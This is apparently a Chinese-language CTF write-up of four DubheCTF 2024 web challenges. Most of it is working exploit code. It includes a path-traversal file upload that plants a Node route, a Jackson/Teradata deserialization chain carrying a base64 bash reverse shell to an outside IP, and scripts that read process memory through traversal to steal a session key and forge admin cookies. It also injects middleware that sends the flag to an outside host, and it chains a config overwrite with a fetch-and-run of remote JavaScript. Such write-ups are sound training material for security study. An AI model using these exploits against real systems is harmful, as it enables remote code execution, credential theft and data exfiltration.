March 19, 2024

DubheCTF 2024 Web Writeup

Wecat

考点:

一开始看这一题的代码感觉还挺难的,结果仔细一看发现非常之简单啊。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const JsonWebToken = require('../module/jwt')
const jwt = new JsonWebToken()
module.exports = {
/**
* 验证token
*/
verifyToken: async (ctx, next) => {
if (/(login|sign|static)/g.test(ctx.url)) return next() // 登录、注册、获取静态文件不需要验证权限
const verify = await jwt.tokenVerify(ctx)
ctx.status = 200
if (verify === 401) { // 验证不通过
ctx.body = {
msg: '身份认证已过期',
error: true,
type: verify
}
} else {
await next()
}
}
}

开局我看到了个鉴权的模块,首先key也给你了,然后还加了个没用的if。然后我注意到了dockerfile一个启动文件
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
FROM node:alpine
WORKDIR /app
COPY server .
COPY flag /flag
COPY readflag /readflag
RUN chmod 400 /flag
RUN chmod +xs /readflag

RUN adduser -D player
RUN chown -R player:player /app

USER player
RUN npm i
EXPOSE 3800 4800
CMD ["npm", "run", "dev"]

结合上述2个文件可以知道,使用的是nodemon进行的热部署启动,这时候凭直觉就是文件覆盖了。并且不需要考虑权限问题,因为session本地可以制作。直接找点位就行了。
image.png
该api有字符串拼贴,可以任意文件读取。但其实没什么用,我们最后需要rce。找文件上传的点位
image.png
/wechatAPI/upload/once
该处postfix可以拼贴,可以文件覆盖和上传。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
POST /wechatAPI/upload/once HTTP/1.1
Host: localhost:8088
Upgrade-Insecure-Requests: 1
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Cache-Control: max-age=0
sec-ch-ua-platform: "macOS"
Accept-Encoding: gzip, deflate, br, zstd
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTA4MzkwNzksImRhdGEiOiIxcGFzcyIsImlhdCI6MTcxMDgzNTQ3OX0.9I40cxAGdiKqjYbecTdKLuVxNOnJQA774LTP1YEHSYU
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
sec-ch-ua-mobile: ?0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=ca289939f36ddbb1998bf4928b9bf703a1a6216d638583b068fa46969e7a
Content-Length: 208

--ca289939f36ddbb1998bf4928b9bf703a1a6216d638583b068fa46969e7a
Content-Disposition: form-data; name="file"; filename="getflag.js"

const router = require('@koa/router')()
const child_process = require('child_process')

router.get('/wechatAPI/getflag', (ctx) => {
var flag = child_process.execFileSync("/readflag").toString()
ctx.status = 200
ctx.body = {
msg: flag
}
})

module.exports = router.routes()

--ca289939f36ddbb1998bf4928b9bf703a1a6216d638583b068fa46969e7a
Content-Disposition: form-data; name="name"

getflag.js
--ca289939f36ddbb1998bf4928b9bf703a1a6216d638583b068fa46969e7a
Content-Disposition: form-data; name="hash"

/.
--ca289939f36ddbb1998bf4928b9bf703a1a6216d638583b068fa46969e7a
Content-Disposition: form-data; name="postfix"

/../src/route/getflag.js
--ca289939f36ddbb1998bf4928b9bf703a1a6216d638583b068fa46969e7a--

image.png
可以看到getflag.js已经文件上传了,接下来我们需要去覆盖一下router.js
image.png
最后访问/getflag
image.png

Javolution

考点

漏洞路由出现在这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@PostMapping({"/cheat"})
public String cheatPlus(String host, String data) {
String secretKey = "dubhe";
if (this.palService.getPlayer().getLevel() >= 50 && host != null) {
boolean local;
try {
InetAddress address = InetAddress.getByName(host);
local = address.isLoopbackAddress();
} catch (Exception var7) {
return "Bad Host!";
}

if (local && host.contains(secretKey)) {
this.palService.genPal(data);
return "You are now invincible !";
} else {
return "Only localhost is allowed to cheat !";
}
} else {
return "You are too young to cheat !";
}
}

最后会直接进行base64 反序列化
image.png
直接先分析利用链如何构造。
image.png
jackson加上terajdbc依赖,rce应该看的就是tera了,科学上网一波
https://github.com/luelueking/Deserial_Sink_With_JDBC?tab=readme-ov-file
这里有有关tera的利用

1
2
3
4
5
6
String command = "open -a Calculator";
TeraDataSource dataSource = new TeraDataSource();
dataSource.setBROWSER(command);
dataSource.setLOGMECH("BROWSER");
dataSource.setDSName("127.0.0.1");
dataSource.setDbsPort("10250");

前半段就是getter触发getconenction
image.png
我们需要进入下面的getconenction,所以getter放置的类应该是题目给的一个类叫做
image.png
他也有getconnection。接下来让我们构造一下java17的jackson链,这里有个比较崭新的trick,我们可以通过java的option开启模块,反序列化并不会检验。。。我才知道,所以绕过什么module似乎没有意义了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.teradata.jdbc.TeraDataSource;
import com.teradata.jdbc.TeraDataSourceBase;
import org.dubhe.javolution.pool.PalDataSource;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.sql.DataSource;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws Exception {
String command = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4yNC4xODgvNzc3NyA8JjE=}|{base64,-d}|{bash,-i}";
// String command = "open -a Calculator";
TeraDataSource dataSource = new TeraDataSource();
dataSource.setBROWSER(command);
dataSource.setLOGMECH("BROWSER");
dataSource.setDSName("8.130.24.188");
dataSource.setDbsPort("10250");
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(dataSource);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{DataSource.class}, handler);
POJONode jsonNodes = new POJONode(proxy);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("123"));
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonNodes);
// 执行序列化与反序列化,并且返回序列化数据
HashMap<Object, Object> map = SerializeUtils.makeMap(h1, h2);
System.out.println(SerializeUtils.base64serial(map));
}
}

利用链构造如上,需要注意的是咱们用代理区稳定触发一下getconnection,jackson调用getter是无参的。
我们再来看一下这道题的其他逻辑
image.png
首先host不为空,然后player的level需要大于50,这一个逻辑我们来看一下
攻击者可以设置自己的防御力和其他属性,最后进入battle模式
image.png
假如赢了static块里的某个对象,就获取他的level,我们要获取的是flag的level。
image.png
属性设置这里有一些限制,这里其实凭借直觉就知道应该是整数溢出了。
image.png
让防御为负数
image.png
最后你可以发现返回的是0
image.png
成功levelup进入第一层逻辑
第二层就是个ssrf了,域名要包含dubhe,你可以是dubhe.sudo.cc,sudo.cc指向的是localhost,所以就可以了。
因此payload依次为

1
2
3
4
5
http://localhost:8888/pal/cheat?defense=2147483647
http://localhost:8888/pal/battle/flag

http://localhost:8888/pal/cheat[post]
host=dubhe.sudo.cc&data=base64

image.png
最终可以rce。远程环境改为java bash反弹shell即可

VulnTagger

在做这道题之前首先需要去了解一下pytorch这东西,他是处理模型的,pytorch是有漏洞的。
https://github.com/trailofbits/fickling
他在加载模型的时候对数据会采用pickle反序列化。因此是有漏洞存在的。
image.png
一样的套路,有一个static任意文件读取接口。然后后半段其实挺明确了,利用pickle去执行python代码,但是需要管理员权限,需要个storage_key,这里套路和之前一样,是读取mem内存。
题目还给了个bot很奇怪

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from __future__ import annotations

import functools
import hashlib
import subprocess
import time
from collections.abc import Callable
from logging import getLogger
from secrets import token_urlsafe
from typing import Literal, ParamSpec, TypeVar

from httpx import Client
from rich.logging import RichHandler

logger = getLogger(__name__)
logger.addHandler(RichHandler())
logger.setLevel("DEBUG")

client = Client(base_url="http://localhost:8080")

_PS = ParamSpec("_PS")
_R = TypeVar("_R")


def catch_exception(func: Callable[_PS, _R]) -> Callable[_PS, _R | Literal[False]]:
@functools.wraps(func)
def wrapper(*args: _PS.args, **kwargs: _PS.kwargs) -> _R | Literal[False]:
try:
return func(*args, **kwargs)
except Exception as e:
logger.exception(e)
return False

return wrapper


@catch_exception
def validate(difficulty: int = 4, token: str | None = None):
resp = client.post(
"/",
headers={
"x-pow-token": (token),
"x-pow-difficulty": str(difficulty),
},
)
if resp.status_code != 418:
logger.debug("Failed to validate with status code %d", resp.status_code)
return False
try:
data: str = resp.json()["bar"]
except Exception:
logger.debug("Failed to validate with invalid JSON")
return False

return (
hashlib.sha256(token.encode() + data.encode())
.hexdigest()
.startswith("0" * difficulty)
)


def main():
difficulty = 4
while True:
if validate(difficulty): # noqa: SIM102
if all(validate(difficulty) for _ in range(difficulty)):
break
logger.info("Failed to validate with difficulty %d", difficulty)
time.sleep(10)
logger.info("Successfully validated with difficulty %d", difficulty)

with subprocess.Popen(["/readflag"], stdout=subprocess.PIPE) as proc:
assert proc.stdout is not None
for line in proc.stdout:
flag = line.decode().strip()
validate(difficulty, flag)
logger.info("Flag submitted")


if __name__ == "__main__":
main()

一开始我觉得这玩意儿意义不明的。开了个死循环进程,不断地去验证pow,假如通过了就直接把flag放到请求头里。在小伙伴们的思路下知道了是要我们注入一个niceui的middleware。与以往rce不同
这里直接放一下哥哥们的exp。
首先是读取mem中的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#read_mem.py
import requests
from time import sleep
import urllib.request
import re
import socket
import time
from maps_parser import parse_proc_maps

url = "/static%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/mem"
maps = "http://1.95.11.7:40721/static%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/maps"

r = requests.get(maps)
print(r.text)
maps_parsed = parse_proc_maps(r.text)

import os
os.makedirs("./out",exist_ok=True)
os.system("rm out/*")

def read(start_mem_int,end_mem_int):
with socket.create_connection(("1.95.11.7", 40721)) as sock:
request = f"GET {url} HTTP/1.1\r\nHost: 1.95.11.7:40721\r\nUpgrade-Insecure-Requests: 1\r\nRange: bytes={start_mem_int}-{end_mem_int}\r\nConnection: close\r\n\r\n"
sock.sendall(request.encode())
response = b''
while t:=sock.recv(8192):
response+=t

assert b'title>VulnTagger</title' not in response
return response.split(b"\r\n\r\n",1)[1]

for item in maps_parsed:

if item.pathname != None: continue
if item.perms != "rw-p":continue
start_mem_int,end_mem_int = int(item.addr_start,16),int(item.addr_end,16)
size = end_mem_int - start_mem_int
if size >= 10*1024*1024: continue
print(item.addr_start,item.addr_end,item.perms,size,size/1024/1024,"MB")
filename = f'{item.addr_start}_{item.addr_end}_{str(item.pathname)}'.replace("/","_")
print(filename)
outfile = os.path.join("./out",filename)
with open(outfile,"wb") as outfile:
outfile.write(read(start_mem_int,end_mem_int))




寻找key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#filter_strings.py
import string
import os
b64charset = string.ascii_letters + string.digits + "_-"
def isbase64safe(str):
return all(x in b64charset for x in str)

os.system('strings -n 22 out/* > /tmp/strings.txt')

with open("./false_positives.txt") as f:
false_positives = f.readlines()
false_positives = list(x.strip() for x in false_positives)

result = set()
with open("/tmp/strings.txt","r") as file:
for line in file:
l = line[:-1]
if len(l) == 22 and isbase64safe(l):
if l not in false_positives:
result.add(l)

for item in result:
print(item)

获取到key后就可以跑出session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#fake_session_server.py
from nicegui import ui
from nicegui import app

@ui.page('/other_page')
def other_page():
app.storage.browser["is_admin"] = True
ui.label('Welcome to the other side')

ui.link('Visit other page', other_page)

import sys
secret_token=sys.argv[1]
ui.run(port=8082,storage_secret=secret_token,show=False)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#fake_session.py
import subprocess

import sys
secret_token=sys.argv[1]

p = subprocess.Popen(["python3","fake_session_server.py",secret_token])

import time
time.sleep(5)

import requests

resp = requests.get("http://127.0.0.1:8082/other_page")

print(resp.cookies)

p.terminate()

写一个middleware,这个middleware要注入到进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#antibot.py
import hashlib
from logging import getLogger
from nicegui import app
from fastapi import Request,Response
from starlette.middleware import Middleware
from starlette.middleware.base import BaseHTTPMiddleware
import urllib
import string
import json
import itertools

app.middleware_stack = None
@app.middleware("http")
async def add_process_time_header(request: Request, call_next):
def proof_of_work(difficulty, token):
import hashlib
from logging import getLogger
from nicegui import app
from fastapi import Request,Response
from starlette.middleware import Middleware
from starlette.middleware.base import BaseHTTPMiddleware
import urllib
import string
import json
import itertools
combinations = itertools.product(string.ascii_letters, repeat=5)
for combination in combinations:
res = "".join(combination)
if (hashlib.sha256((token + res).encode()).hexdigest().startswith("0"*difficulty)):
return res
import hashlib
from logging import getLogger
from nicegui import app
from fastapi import Request,Response
from starlette.middleware import Middleware
from starlette.middleware.base import BaseHTTPMiddleware
import urllib
import string
import json
import itertools
logger = getLogger("injected")
response = await call_next(request)
x_pow_token = request.headers.get("x-pow-token")
x_pow_difficulty = request.headers.get("x-pow-difficulty")
if x_pow_token and x_pow_difficulty:
try:
with urllib.request.urlopen("http://1.1.1.1/x/flag/"+x_pow_token) as response:
pass
except:
pass
logger.warning("pow: %s %s" %(x_pow_difficulty,x_pow_token))
pow = proof_of_work(int(x_pow_difficulty),x_pow_token)
logger.warning("calculated pow:%s"%pow)
return Response(json.dumps({"bar":pow}),418)
return response

这样在死循环中就会识别pow然后中断,将flag放在token里。
https://github.com/mix-archive/VulnTagger?tab=readme-ov-file
官方给了docker,感觉还挺难的说实话。

Master of Profile

其实没搞懂和2022的题有什么区别。
image.png
在源码中可以看到,当api-mode为false的时候,是会进入2个路由的,getlocal和get,这边直接开启文件读取了。所以很快就能定位api-token,拿到token后我们可以update conf更新配置文件去rce。
image.png
这个路由需要token验证,高版本把enable-cache关了,这是之前的rce方法。
image.png
cache会创建一个缓存文件,然后用script去运行js文件就可以rce。
高版本默认关闭了enable-cache,更新配置文件就解决了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import sys
import requests
import re
import hashlib

server_addr = "http://127.0.0.1:25500"

rs = requests.Session()
# get token

resp = rs.get(server_addr + "/getlocal?path=./pref.toml")
print(resp.text)
try:
token = re.findall(r'api_access_token = "(.+)"', resp.text)[0]
except:
token = re.findall(r'api_access_token = "(.+)"',resp.text)[0]
print(token)

# enable_cache=true
# api_access_token=TOKEN
conf_file=open("conf_file.toml").read().replace("TOKEN", token)

# update conf
resp = rs.post(server_addr + "/updateconf",params={"token":token,"type":"direct"},data=conf_file.encode())
print(resp.text)

# host a file
#std.popen("sh -c 'wget -O - xxxxx/s|sh'", "r");
node_addr = 'http://8.130.24.188:8886/payload.js'
file_path = 'script:cache/'+hashlib.md5(node_addr.encode()).hexdigest()
# fetch my js
resp = rs.get(server_addr + "/sub",params={"target":"quanx","url":node_addr})
print(resp.text)
# run my js
resp = rs.get(server_addr + "/sub",params={"target":"quanx","url":file_path})
print(resp.text)

image.png

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#XCTF